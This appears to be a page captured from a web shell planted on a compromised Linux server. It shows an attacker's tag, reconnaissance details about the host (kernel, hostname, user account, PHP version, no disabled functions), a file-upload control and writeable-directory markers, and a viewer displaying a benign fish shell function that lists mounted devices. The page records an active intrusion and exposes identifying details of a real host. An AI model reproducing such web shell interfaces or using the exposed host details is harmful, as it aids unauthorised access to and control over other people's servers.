Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/share/fish/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/fish/functions/__fish_print_mounted.fish
function __fish_print_mounted --description 'Print mounted devices'
	if test -r /etc/mtab
		# In mtab, spaces are replaced by a literal '\040'
		# So it's safe to get the second "field" and then replace it
		# \011 encodes a tab, \012 encodes a newline and \\ encodes a backslash
		# This will probably break on newlines because of our splitting, though
		# and tabs because of descriptions
		string replace -r '\S+ (\S+) .*' '$1' </etc/mtab | string replace -a "\040" " " \
		| string replace -a "\011" \t | string replace -a "\012" \n | string replace -a "\\\\" "\\"
	else
		mount | cut -d " " -f 1-3|tr " " \n|sed -e "s/[0-9\.]*:\//\//"| __fish_sgrep "^/"
	end
end

Hry